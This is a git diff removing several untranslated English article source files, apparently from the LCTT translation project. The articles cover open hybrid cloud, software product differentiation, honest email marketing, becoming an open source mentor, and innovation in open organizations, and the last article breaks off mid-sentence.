https://www.google.com/books/edition/The_Jobs_To_Be_Done_Playbook/1vHRDwAAQBAJ?hl=en&gbpv=1&printsec=frontcover diff --git a/sources/talk/20201023 Why it-s important to keep the cloud open.md b/sources/talk/20201023 Why it-s important to keep the cloud open.md deleted file mode 100644 index 446eceb61b..0000000000 --- a/sources/talk/20201023 Why it-s important to keep the cloud open.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why it's important to keep the cloud open) -[#]: via: (https://opensource.com/article/20/10/keep-cloud-open) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Why it's important to keep the cloud open -====== -An open cloud helps developers maintain autonomy and security while -taking advantage of the power and reach of the cloud. -![Sky with clouds and grass][1] - -There's a famous sticker featured on many laptop lids; it goes something like this: "the 'cloud' is just somebody else's computer." - -There's a lot of truth to that sentiment, but it's not exactly technically accurate. In fact, cloud computing isn't just somebody else's computer; it's somebody else's _hundreds and thousands_ of computers. - -Years ago, "the cloud" did indeed just refer to the simplified graphic in a flowchart, so the illustrator didn't have to try to accurately depict the multiple networks that comprise the World Wide Web. Now, however, the cloud isn't just describing traffic or small-time remote file storage offers. The cloud of today is a _platform_ of interconnected computational nodes working together to keep containerized Linux images, each running a distinct service (or "microservice" in developer lingo), functioning as applications distributed over the whole world. - -The cloud is a computer, no different in theory than the device you're reading this article on, but very different in construction. For instance, you don't own the cloud. You might wonder how such a concept can possibly be compatible with the idea of open source and free software, methods of computing in which the user famously owns the software they run. Surely you can't own software when you don't even own the device it's installed on? - -### Open source and the cloud - -For several years now, the Internet has been something of a software neutral zone. The model of the Internet isn't the same as "traditional" software in which there's a one-to-one, or maybe a one-per-family, relationship between the app and the user. The Internet is built of servers, which run services intended for multiple users. You sign up for an account on a site, and, in the best-case scenario, you more or less "own" your user account and data, but you don't own the site. You can't stop your Internet service and bring up the website on your computer. The software "lives" on a server somewhere. Even when the software is open source, such as WordPress or Drupal, and even if you download it and install it locally on your own computer, you still don't possess the instance you created an account on. - -For this reason, even users very conscious of the threat of non-open software tend to overlook the question of software on the Internet. It can be increasingly difficult to recognize the importance of open source when even popular open source projects are hosted on Github (which uses a non-open web stack), Slack, or Discord instead of [Mattermost][2] or [Matrix][3] for chat; Google Docs instead of [Etherpad][4] for collaboration; Trello instead of [Phabricator][5] for [project management][6]; Jira for bug tracking; Gmail for communication, and so on. For as much as open source has won within software development and server hosting, it seems to willingly lock itself inside proprietary infrastructure. - -### Why the cloud is so powerful - -The problem doesn't end with infrastructure. The reason open source projects are locking themselves into proprietary systems for support is that the cloud itself is the computer, and the computer powered by the cloud is a lot more powerful than any developer's workstation. Not only does it have more processing power, but it also has a greater reach. An application you develop to run on the cloud can serve millions of users without even one of them having to figure out how to download and install anything. Your users just launch a browser and use your app, on any device, without even worrying about whether their device is powerful enough for the task they need to be done. - -The cloud just makes sense, for computation, for delivery, and even for marketing. The problem is, it doesn't make any sense for open source. And that's why the cloud is no longer enough. The cloud needs to be upgraded to an open hybrid cloud. - -### What is an open hybrid cloud? - -When people talked about "the cloud" many years ago, it referred to the network serving as the computer. It was even then an old idea, but it was only just being realized. But because the network was the computer, the natural and correct assumption was that most users wouldn't own the computer; they'd only log in with client machines. And that's exactly the form it has taken—you own a device that browses to a cloud owned by Google, Microsoft, or Amazon. - -This came to be known as the public cloud because the infrastructure running the cloud is available to the general public. You can buy time on several public clouds, interact with it through Kubernetes, and develop apps for Linux containers. - -It didn't take long for individual companies to build private clouds—an infrastructure available only to their employees and clients. This ensured that important data remained under their control, and it often cost less than buying time on someone else's infrastructure. - -A hybrid cloud combines these two concepts—you maintain a private cloud for your own use, and you use a public cloud to provide services you can't run only privately. An open hybrid cloud is a hybrid cloud built on open source, whether it's OKD, OpenShift, Kubernetes, RHEL, Debian, Alpine, Podman, Docker, Ansible, or custom scripts. - -### Getting an open hybrid cloud - -The cloud is powerful, so it stands to reason that it can actually help solve a little problem like ensuring user independence. It doesn't happen overnight, though, and the proprietary cloud is already entrenched in services used by millions. So, as an open source enthusiast, what can you do to promote the open hybrid cloud? - -### Don't settle for closed clouds - -If you're a developer, seek out an open hybrid cloud when you're looking for a platform to build upon. If you can't find one within your price range and you can't build a small one, then support open stacks. Look at the services your project relies upon and make sure you can reimplement the stack, should you need to. - -### Use open source online - -As a user, look for [federated systems][7] for social media, and look for open source platforms like WordPress, Drupal, Nextcloud, Etherpad, EtherCalc, and others, for online collaboration. You're not running the instance you're using, but at least you know that the code is auditable and that you're not supporting an environment that forces developers to contribute to proprietary software. - -### Data liberation - -Whether or not the environment is open source, ensure that important data is secure and can be exported. We're well into the 21st century, so there's no excuse for a website to gather data about without proper encryption and no excuse to withhold your data from you. You should be able to export anything you put _into_ a site for your own backups. - -### Be open - -In an open hybrid cloud, you own your development environment and your data, and you maintain your autonomy the same way you do with a laptop running [Linux][8] or [BSD][9]. Cloud computing is the future. Let's work together to make sure the future is open. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/keep-cloud-open - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bus-cloud.png?itok=vz0PIDDS (Sky with clouds and grass) -[2]: http://mattermost.com -[3]: http://matrix.org -[4]: http://etherpad.org -[5]: https://www.phacility.com/phabricator/ -[6]: https://opensource.com/alternatives/trello -[7]: https://opensource.com/article/17/4/guide-to-mastodon -[8]: https://opensource.com/resources/linux -[9]: https://opensource.com/article/20/5/furybsd-linux diff --git a/sources/talk/20201027 How to define a product in the open source software supply chain.md b/sources/talk/20201027 How to define a product in the open source software supply chain.md deleted file mode 100644 index 8a13a06eeb..0000000000 --- a/sources/talk/20201027 How to define a product in the open source software supply chain.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to define a product in the open source software supply chain) -[#]: via: (https://opensource.com/article/20/10/defining-product-open-source) -[#]: author: (Scott McCarty https://opensource.com/users/fatherlinux) - -How to define a product in the open source software supply chain -====== -Differentiation is what makes a product successful. Learn more in part -two of this series on open source in the software supply chain. -![Gift box opens with colors coming out][1] - -In the first article in this series, "[Is open source a development model, business model, or something else?][2]" I introduced the concept that open source is part of the supply chain for software products. But to truly understand open source as a supply chain, you must have a decent understanding of what a product is. A product can be thought of as a business, and as legendary business guru [Peter Drucker][3] said, "The purpose of business is to create and keep a customer." Drucker's statement means a business or product must be useful enough to pay for, or it will fail. Product differentiation is the thing that creates and retains customers. - -### What's in a software product? - -Even in the stone age of 1999, when I started my career, the concept of software products existed—you could go to a store and purchase boxed copies of Red Hat Linux on compact discs (though floppies were still very much in use). The idea of software products existing might sound like a joke, and it is, but in the 1940s and 1950s (when computers, as we know them, were created), software was not a component of value that was bought and sold. There was no market for software. You couldn't buy it, sell it, or access it online. - -Instead of buying software, the choice was to build or buy a physical computer; with either option, you wrote the software yourself for that specific computer. - -> _That… specific… computer…_ - -No joke. In the early days of computers, software couldn't run anywhere except for the computer you wrote it on. In fact, in the early days, you couldn't even use the same programming language on two different computers. But, as computers evolved, system software, such as operating systems, assemblers, and compilers, were created. And with the advent of this system software, application code became more reusable and portable. - -In the 1960s, cross-platform compilers and operating systems led to the concept of reusable code, such as macros and eventually libraries. At the beginning of every project, you built your own reusable functions and libraries. (Computer science courses still force you to do this so that you learn what's going on behind the scenes.) Concurrently, processors and operating systems standardized, enabling portability between computers. - -In the early days, these components were used within single organizations (e.g., a government, university, company, etc.), but the desire to share software among organizations emerged quickly. If you're interested in understanding the history of code portability from the first computers to containers, see "Fatherlinux's" [Container portability][4] series or the [History of compiler construction][5] Wikipedia page. Suffice to say, code had to be portable before anyone could have software products, open source or even containers. - -### Reusable and portable software - -Once code became portable and shareable between organizations, the next logical step was to sell it. In these early days, having software that did _something useful_ was differentiating in the marketplace. This was a breakthrough because if you needed a calculator, a compiler, or a piece of word processing software, it became cheaper and easier to buy it than to write it. So software products were born. - -This model really only worked to tackle general-purpose problems that a lot of people share—things like calculating numbers, writing documents, or compiling software; these are business problems. General-purpose software is great, but it doesn't elegantly solve specific problems related to business rules within a single industry or organization, although you can abuse Excel or Google Sheets pretty hard. For specific business problems, it's more efficient to write custom code. This need led to the rise of middleware, things like Java, service buses, and databases. Middleware was bought and sold to assist with custom software development. - -Code portability led to a marketplace for software applications and middleware. Software companies began to provide competing solutions with differentiated value. You picked the compiler or the calculator that you wanted based on features. The existence of competing solutions was great for consumers because it drove software companies to create more specialized solutions, each with unique value. Whether a product is built on open source or not, it must provide unique value in the marketplace. - -### Understanding differentiated value - -To explain differentiated value, I'll use an analogy about automobiles. Families need cars, sport utility vehicles (SUVs), or minivans. They might want comfortable seats, infotainment systems, or safety features. They often have a preference on color. Each family is different and has specific needs, so the perfect automobile would be one that the family built together as a project. - -Most families don't have the time, desire, money, or credit to buy all of the components necessary to build the perfect car from scratch, much less the time to maintain it over a given lifecycle. It wouldn't be an economical investment of time or money for a family. It would cost them way more, and take a long time to build. Instead, families buy automobiles from existing vendors, as a built solution to their transportation problem. Although the bought car will be imperfect, it will approximately meet their needs with much less time and money invested. - -Automobile vendors put a solution together with undifferentiated and differentiated components. This includes everything from the motor, fuel injectors, tires, and seats in the car, to the buying experience at the dealership, the financing, and the service program while the car is owned. All of these features and experiences are a component of the solution that families buy when looking for an automobile. The combination of all these things is what produces something that is different and, hopefully, better in the marketplace. We call this _differentiation_. The more competing solutions, the more differentiation in the marketplace, and the better the chance that a family can find a car that matches their needs more approximately. - -### Differentiation in open source - -In a traditional manufactured product or service, there is a distinction between the value provided by the supplier and the value provided by the company selling directly to the consumer. You could make a further distinction between business-to-consumer (B2C) or business-to-business (B2B) products and services, but that's beyond the scope of this series. - -The astute reader may already be thinking, "yeah, but with traditional products, the suppliers are also companies selling products with differentiation." This is completely true, and in this way, open source projects are no different. Community-driven, open source projects don't have the advantage of expensive marketing campaigns, focus groups, and sales teams to educate customers, but they must also differentiate themselves in the marketplace. - -Differentiation is an important concept for product managers, developers, and even systems administrators. Even in a broader context, the output of any sort of knowledge work—code, writing, music, or art—differentiation is what brings value and meaning to our work. Differentiation is what creates value, whether it's a software product or service, labor, or even music. - -In the next article, I'll dive deeper into how software product teams differentiate their solutions from the open source components provided by their suppliers. We'll even cover software as a service (SaaS). - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/defining-product-open-source - -作者:[Scott McCarty][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fatherlinux -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_gift_giveaway_box_520x292.png?itok=w1YQhNH1 (Gift box opens with colors coming out) -[2]: https://opensource.com/article/20/10/open-source-supply-chain -[3]: https://en.wikipedia.org/wiki/Peter_Drucker -[4]: http://crunchtools.com/container-portability-part-1/ -[5]: https://en.wikipedia.org/wiki/History_of_compiler_construction diff --git a/sources/talk/20201028 A few things I-ve learned about email marketing.md b/sources/talk/20201028 A few things I-ve learned about email marketing.md deleted file mode 100644 index 4918d3dd3e..0000000000 --- a/sources/talk/20201028 A few things I-ve learned about email marketing.md +++ /dev/null @@ -1,139 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A few things I've learned about email marketing) -[#]: via: (https://jvns.ca/blog/2020/10/28/a-few-things-i-ve-learned-about-email-marketing/) -[#]: author: (Julia Evans https://jvns.ca/) - -A few things I've learned about email marketing -====== - -Hello! I’ve been learning a lot about business over the last few years (it’s possible to make a living by helping people learn! it’s amazing!). One of the things I’ve found hardest to get my head around was email marketing. - -Like a lot of people, I get a lot of unwanted email, and at first I was really opposed to doing any kind of email marketing because I was worried I’d be the _source_ of that unwanted email. But I’ve learned how to do it in a way that feels good to me, and where the replies to my marketing emails are usually along the lines of “wow, I love this, thank you so much!”. ([literally: here are excerpts from the last 20 or so replies I’ve gotten][1]) - -I’m going to structure this as a series of beliefs I had about email marketing that turned out not to be universally true. - -### myth 1: selling things is an adversarial relationship - -I used to think that selling things was a sort of adversarial relationship: the person selling the product wants to convince the buyer (by any means necessary) to spend as much money as possible, and that people buying things are usually kind of resentful of anyone asking them to spend money. - -I’ve learned that actually a lot of people are happy (or even actively **want**) to spend money on something that will help them solve a problem they have. - -Here’s a silly example of something illustrating this: 2 years ago, we’d hired someone to paint our new apartment. We decided to paint a lot of the walls white, and we were stuck with the impossible problem of deciding which of the 10 billion possible shades of white to paint the walls. I found a $27 ebook called [white is complicated][2], and (long story short, this blog post is not about painting) it really helped me confidently choose a shade of white!! We spent thousands of dollars on painting, so $30 was a really good investment in making sure we’d be happy with the result. - -So even though $27 for an ebook on how to choose a white seems silly at first, I was really happy to spend the money, and my guess is a lot of other people who bought that ebook are as well. - -The bigger idea here is that it’s easier to run a business when you’re selling to people who are happy to buy things based on the value they’re getting from the product. In my case, I’ve found that there are lots of programmers who are happy to pay for clear, short, friendly explanations of concepts they need to understand for their jobs. - -### a quick note on how I learned these things: 30x500 - -I originally wrote this blog post about all these things I learned, and it kind of read like I figured out all of these things naturally over the course of running a business. But that’s not how it went at all! I’ve actually found it very hard to debug business problems on my own. A lot of the attitudes I had when I started out running a business were counterproductive (like thinking of selling something as an adversarial process), and I don’t know that many people who run similar businesses who I can get advice from. - -I learned how to think about selling things as a non-adversarial process (and everything else in this blog post, and a lot more) from [30x500][3], a business class by Amy Hoy ([her writing is here][4]) and [Alex Hillman][5] that I bought a couple of years ago. 30x500 is about running a specific kind of business (very briefly: sell to people who buy based on value, decide what to build by researching your audience, market by teaching people helpful things), which happens to be the exact kind of business that I run. It’s been a really great way to learn how to run my business better. - -Okay, back to my misconceptions about email marketing! - -### myth 2: sending email is inherently bad - -The next thing I believed was that sending email from a business was somehow inherently bad and that all marketing email was unwanted. - -I now realize this is untrue even for normal marketing emails – for example, lots of people subscribe to marketing newsletters for brands they like because they want to hear about new products when they come out & sales. - -But marketing emails aren’t just “not inherently bad”, they can actually be really useful! - -### marketing is about building trust - -When I started sending out business emails, I based them on the emails I was used to receiving – I’d announce new zines I’d written, and explain why the zine was useful. - -But what I’ve learned is that (at least for me) marketing isn’t about describing your product to the audience, **marketing is about building trust by helping people**. - -So, instead of just periodically emailing out “hey, here’s a new zine, here’s why it’s good”, my main marketing email list is called [saturday comics][6], and it sends you 1 email a week with a programming comic. - -What I like about this approach to marketing (“just help people learn things for free”) is that it’s literally just what I love doing anyway – I wrote this blog to help people learn things for free for years just because I think it’s fun to help people learn. - -And people love the Saturday Comics! And it makes money – I announce new zines to that list as well, and lots of people buy them. It’s really simple and nice! - -### myth 3: you have to trick people into signing up for your email marketing list - -One pattern I see a lot is that I sign up for some free service, and then I start getting deluged with marketing emails trying to convince me to upgrade to the paid tier or whatever. I used to think that this was how marketing emails **had** to work – you somehow get people’s email and then send them email, and hope that for some reason (???) they decide to buy things from you. - -But, of course, this isn’t true! If your marketing list is actually just full of genuinely helpful emails, and you can describe who it’s intended for clearly (give people a link to the archive to see if they like what they see!), then a lot of people will be happy to sign up and receive the emails! - -If you clearly communicate who your mailing list will help, then people can easily filter themselves in, and the only people on the list will be happy to be on the list. And then you don’t have to send any unwanted email at all! Hooray! - -Here’s one story that influenced how I think about this: once I sent an email to everyone who had bought a past zine saying “hey, I just released this other zine, maybe you want to buy it!”. And I got an angry reply from someone saying something like “why are you emailing me, I just bought that one thing from you, I don’t want you to keep emailing me about other things”. I decided that I agreed with that, and now I’m more careful about being clear about what kinds of emails people are opting into. - -### marketing is about communicating clearly & honestly - -One insight (from Alex Hillman) that helped me a lot recently was – when someone is dissatisfied with something they bought, it doesn’t always mean that the product is “bad”. Maybe the product is helpful to many other people! - -But it definitely means that the person’s expectations weren’t met. A tiny example: one of the few refund requests I’ve gotten for a zine was from someone from who expected there to be more information about sed in the zine, and they were disappointed there was only 1 page about sed. - -So if I communicate clearly & accurately what problems a product solves, who it’s for, and how it solves those problems, people are much more likely to be delighted when they buy it and be happy to buy from me again in the future!. For my zines specifically, I like to make the table of contents very easy to find so that people can see that there’s [1 page about sed][7] :) - -### myth 4: you have to constantly produce new emails - -I’ve tried and failed to start a lot of mailing lists. the pattern I kept getting stuck in was: - -I have an idea for a weekly mailing list I send 2 emails I give up forever - -This was partly because I thought that to have a weekly/biweekly mailing list, you have to write new emails every week. And some people definitely do mailing lists this way, like [Austin Kleon][8]. - -But I learned that there’s a different way to write a mailing list! Instead, you: - -put together a list of your best articles / comics / whatever when someone subscribes to that list, send them 1 email a week (or every 2 weeks, or whatever) with one article from the List Of Your Best Articles - -The point is most people in the world probably haven’t already read your best articles, and so if you just send them one article a week from that list, it’ll probably actually be MORE helpful to them than if you were writing a new article every week. And you don’t need to write any emails every week! - -I think this is called a “drip marketing campaign”, but when I search for that term I don’t find the results super helpful – there’s a lot out there about tools to do this, but as with anything I think the actual content of the emails is the most important thing. - -### myth 5: unsubscribes are the end of the world - -Another email marketing thing I used to get stressed out about was unsubscribes. It always feels a little sad to send an email about something I’m excited about and see 20 people unsubscribe immediately, even if it’s only 0.3% of people on the mailing list. - -But I know that I subscribe to mailing lists very liberally, even on topics that I’m not that interested in, and 70% of the time I decide that I’m not that interested in the topic and unsubscribe eventually. A small percentage of people unsubscribing really just isn’t that big of a deal. - -### myth 6: you need to optimize your open rates - -There are all kinds of analytics you can do with email marketing, like open rates. I love numbers and analyzing things, but so far I really haven’t found trying to A/B test or optimize my numbers to be that productive or healthy. I’d rather spend my energy on just writing more helpful things for people to read. - -The most important thing I’ve learned about website analytics is that it’s unproductive to look at random statistics like “the open rate on this email is 43% but the last one was 47%” and wonder what they mean. What _has_ been helpful has been coming up with a few specific questions that are important to me (“are people visiting this page from links on other sites, or only from my links?”) and keeping very rough track of the answers over time. - -So far I’ve really never used any of the tracking features of my email marketing software. The only thing I’ve done that I’ve found helpful is: sometimes when I release a new zine I’ll send out a discount code to people on the list, and I can tell if people bought the thing from the mailing list because they used the discount code. - -### it’s important to remember there are people on the other side - -The last thing that’s helped me is to remember that even though emailing thousands of people sometimes feels like a weird anonymous thing, there are a lot of very delightful people on the other side! So when I write emails, I usually try to imagine that I’m writing to some very nice person I met at a conference one time who told me that they like my blog. We’re not best friends, but they know my work to some extent, and they’re interested to hear what I have to say. - -I often like to remind people why they’re getting the email, especially if I haven’t emailed that list for a long time – “you signed up to get announcements when I release a new zine, so here’s an announcement!”. I think the technical email marketing term for this is a list being “cold” and “warm”, like if you don’t email a list for too long it’s “cold” and your subscribers might have forgotten that they’re on it. - -### that’s all! - -When I started, I was really convinced that email marketing was this terrible, awful thing that I could not do that mostly involved tricking people into getting emails they don’t want (ok, I’m exaggerating a bit, but I really struggled with it). But it’s possible to do it in a transparent way where I’m mostly just sending people helpful emails that they do want! - -The big surprise for me was that email marketing is not a monolithic thing. I have a lot of choices about how to do it, and if I don’t like the way someone else does email marketing, I can just make different choices when doing it myself! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/10/28/a-few-things-i-ve-learned-about-email-marketing/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://gist.github.com/jvns/c2aaecbbbf60b7f3adf3e0be18d54a7b -[2]: https://mariakillam.com/product/white-is-complicated/ -[3]: https://30x500.com/academy/ -[4]: https://stackingthebricks.com/ -[5]: https://dangerouslyawesome.com -[6]: https://wizardzines.com/saturday-comics -[7]: https://wizardzines.com/zines/bite-size-command-line/ -[8]: https://austinkleon.com/ diff --git a/sources/talk/20201030 My journey to becoming an open source mentor.md b/sources/talk/20201030 My journey to becoming an open source mentor.md deleted file mode 100644 index 035ffaa8c7..0000000000 --- a/sources/talk/20201030 My journey to becoming an open source mentor.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (My journey to becoming an open source mentor) -[#]: via: (https://opensource.com/article/20/10/open-source-mentor) -[#]: author: (Mehant Kammakomati https://opensource.com/users/mehant-kammakomati) - -My journey to becoming an open source mentor -====== -I grew from a teenage open source novice to a 20-year-old frequent -contributor and mentor to new users. -![Puzzle pieces coming together to form a computer screen][1] - -I was just 16 when I made my first meaningful open source contribution. It was the first code contribution I ever made, and I learned a lot from it. I'm 20 now, and I've been strongly attached to free and open source software (FOSS) ever since. I strive to be a friend to my community colleagues and to help others continue growing, learning, and succeeding. - -### Early days - -I first heard about FOSS through the [Google Code-In][2] contest. I was 16, but I was already learning computer science fundamentals, the C++ programming language, and anything else about computers I could get my hands on. I was very excited about the contest—not just because of the free Google swag, but because it gave me the opportunity to work directly on codebases being used all around the world. I jumped into the contest feet-first and started trying to solve as many open source software tasks as I could in the code, design, documentation, and research. - -![Google Code-in Mehant Kammakomati][3] - -(Mehant Kammakomati, [CC BY-SA 4.0][4]) - -It wasn't easy. I didn't know the FOSS community culture, nor much about the software development methodologies they used, nor even how to seek help or interact with others. So, rather than focusing on tasks, I started by focusing on understanding these fundamentals. - -In a way, I spent much of my time during the contest learning more about how open source development works instead of closing tasks. But I wasn't sad about my failure to contribute code during the contest and instead focused on my success in getting acquainted with free software and open source culture. - -### Fundamentals - -I didn't stop my journey there. As a beginner, I learned: - - 1. Git - 2. GitHub - 3. Using the terminal - 4. Writing meaningful commit messages - 5. How to communicate with colleagues and partake in project discussions - 6. A new way of looking at codebases and project anatomy - 7. Basic fundamentals of computer science - 8. Important components of the technical stack and programming languages - - - -The following year, I participated again in the Google Code-In contest to implement what I'd learned and try to make better bonds with my new FOSS friends. This time, I was able to complete a good number of tasks and make some valuable contributions that were pushed into production. As a result, I was selected as one of the 50 grand prize winners out of all the participants from all over the world. Being a kid, this gave me the motivation to make FOSS one of my best friends. - -### Programs that got me closer to FOSS - -From my start, I always liked being part of FOSS, and the journey has been amazing and addictive. I wanted to learn more, and I believed participating in FOSS initiatives and programs would help this happen. [Hacktoberfest][5] is one such initiative where I was able to contribute to Microsoft open source software and various other projects in 2018 and 2019. All the lessons I learned in Google Code-In were reinforced and strengthened.  - -[Google Summer of Code][6] (GSoC) was another important, engaging, and challenging experience for me. I became part of the GSoC 2019 and 2020 programs as a student with the [Sustainable Computing Research Lab][7]. These were two fast-paced and exciting summers spent hunting down bugs, writing new features, and documenting the work. - -In 2019, [Red Hat's Open Source Contest][8] was another wonderful opportunity to work on open source engineering problems. Red Hat is one of my dream companies—it provides open source software products (particularly interesting to me are container technologies and orchestration tools), so I'm lucky to have been part of the contest. The best part was that I was paired with a Red Hat engineer to mentor me throughout the course of the contest. I contributed to the [ansible-bender][9] project, and the journey absolutely stepped up my skills to the next level.  - -![Red Hat Open Source contest certificate][10] - -(Mehant Kammakomati, [CC BY-SA 4.0][4]) - -I also made valuable contributions to the [SPDX][11] online tools for their deployment infrastructure. While I was learning about blockchain technology, I contributed to Hyperledger Fabric's Python SDK. - -### Spreading FOSS culture - -I also served as a Google Code-In mentor in 2018 and 2019 and mentored many young aspirants making their very first valuable FOSS contributions. I was able to review around 400+ tasks and had the privilege of helping hundreds of students. - -Through my time as an open source benefactor, I've learned that the open source model is the best way to host a project. It avails you of many benefits, ranging from obtaining contributions from all over the world to getting project funding. Through my time as a contributor to open source programs, I've learned the value of working to inculcate FOSS culture in our institutions and students. - -I strongly believe in FOSS, and I recommend being part of this culture. Maybe you'll find it difficult to start, but if you seek the advice of friendly participants online or in a sponsored program, you'll surely get help. The most important part of the journey is the first few steps; once you get past that, you'll soon feel responsible and proud of each and every contribution you make—code or otherwise—knowing it helps your friends around the world. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/open-source-mentor - -作者:[Mehant Kammakomati][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mehant-kammakomati -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) -[2]: https://en.wikipedia.org/wiki/Google_Code-in -[3]: https://opensource.com/sites/default/files/pictures/google_code-in.jpg (Google Code-in Mehant Kammakomati) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://hacktoberfest.digitalocean.com/ -[6]: https://summerofcode.withgoogle.com/archive/ -[7]: https://scorelab.org/ -[8]: https://research.redhat.com/red-hat-open-source-contest/ -[9]: https://opensource.com/article/19/10/building-container-images-ansible -[10]: https://opensource.com/sites/default/files/pictures/redhatcertificate.jpg (Red Hat Open Source contest certificate) -[11]: https://en.wikipedia.org/wiki/Software_Package_Data_Exchange diff --git a/sources/talk/20201108 Open environments are where innovative ideas thrive.md b/sources/talk/20201108 Open environments are where innovative ideas thrive.md deleted file mode 100644 index 8850c43cae..0000000000 --- a/sources/talk/20201108 Open environments are where innovative ideas thrive.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open environments are where innovative ideas thrive) -[#]: via: (https://opensource.com/open-organization/20/11/environments-for-innovation) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -Open environments are where innovative ideas thrive -====== -Certain environments are more conducive to innovation. A better -understanding of innovation's true nature could help us build them. -![A sprout in a forest][1] - -In the [first article of this series][2], I examined the nature of the innovation process in great detail. I also discussed some sources of resistance to it. In this second part of my review of [Matt Ridley's][3] book [_How Innovation Works_][4], I will explain the ideal environment in which discoveries are born, protected, and progress into useful products and services, considering certain essential conditions for innovations to flourish. And I will argue that [open organization principles][5] are the keys to establishing those conditions. - -### Better when shared - -Unfortunately, Ridley explains, history has shown that economic instability, downturns, and recessionary periods spur people toward more self-sufficiency and protectionism at the expense of productivity. That is, our attitude toward cooperation and interaction changes; people separate themselves from outsiders and tend to restrict interaction. In this environment, people, communities, and even entire countries fear dependence on others. Collaboration breaks down, feeding costly and counterproductive recessions (it's almost like reverting back to [subsistence-living societies][6], where everyone only consumes and benefits from what they produce by themselves). - -This attitude stifles innovation, as innovation occurs primarily when people are able to work _with_ each other and utilize the principles of community, collaboration, inclusion, transparency, and adaptability. - -Periods of economic stability and expansion, on the other hand, tend to create strong feelings of safety, which encourages mutual interdependence between people. As Ridley writes, "By concentrating on serving other people's needs for forty hours a week—which we call a job—you can spend the other seventy-two hours (not counting fifty-six hours in bed) drawing upon the services provided to you by other people." We do what we are good at and what we enjoy most, and then depend on others to do the things we do not do well and perhaps even dislike. When interdependence and cooperation are commonplace in a society, there tends to be an increase in innovative economic breakthroughs, specifically because of work providing specialized services. Simply put, working together to come up with new things leads to increased human productivity for all. - -In this environment, open organizations come alive. - -So let's examine the qualities that make those environments so fertile for innovation. - -### Where innovation thrives - -Several factors are common throughout the innovation process, Ridley notes in _How Innovation Works_. Notice that open organization principles are involved in each of these factors. - -#### 1\. Innovation is gradual. - -If you look closely, you'll see that innovation does not often involve single breakthroughs. Instead, it's often [a series of discoveries over months and even years][2]. Innovations are gradual, incremental, and _collective_—over time. Unfortunately, we still tend to view innovations as the result of singular actors. This is due to several factors, Ridley explains: - - 1. Human nature and a love of heroes: People love telling stories starring single heroes with key events as turning points in a linear series (what [Jim Whitehurst][7] calls "[the innovation delusion][8]"). These stories are more exciting and inspiring, perhaps, but not necessarily historically accurate (years of testing and making trial-and-error mistakes are not as interesting!). - 2. Intellectual property laws: Contemporary intellectual property systems attempt to ascribe all credit to single inventors and magnify that person's importance, overshadowing collaborators, competitors, and predecessors who contributed "stepping stone discoveries." - - - -In truth, _innovations are the result of gradual progress_. - -If you look closely, you'll see that innovation does not often involve single breakthroughs. - -#### 2\. Innovation is serendipitous. - -More often than not, innovative ideas come when one is looking for something else or trying to solve a completely different problem. They are accidental discoveries. - -For example, [Roy Plunkett][9] was trying to improve a refrigerant fluid when he discovered Teflon. Other times, certain historical events turn researchers in directions they had not considered. This is a good reason why broad inclusivity and openness to the unexpected (adaptability) while working on a project are so important. - -Sometimes, broad peripheral vision is far more important than what you're _directly_ looking at. As serendipity plays a big part in innovation, societies that embrace a more free-roving, experimental nature do so well. This approach increases the chance of a lucky idea appearing. Innovation happens when people are free to think, experiment, and speculate. It happens when people can trade things, concepts, and ideas with each other (in other words, they collaborate—see below). This explains why innovative ideas seem to emerge more from cities than from rural areas, Ridley argues. - -#### 3\. Innovation is a process of combining existing components. - -Innovation is often the result of combining pre-existing products in new ways, or applying well-known components to unanticipated problems. Again, this occurs in places where people can meet and exchange goods, services, and thoughts (where they can collaborate). This explains why innovation happens in places where trade and exchange are frequent, and not in 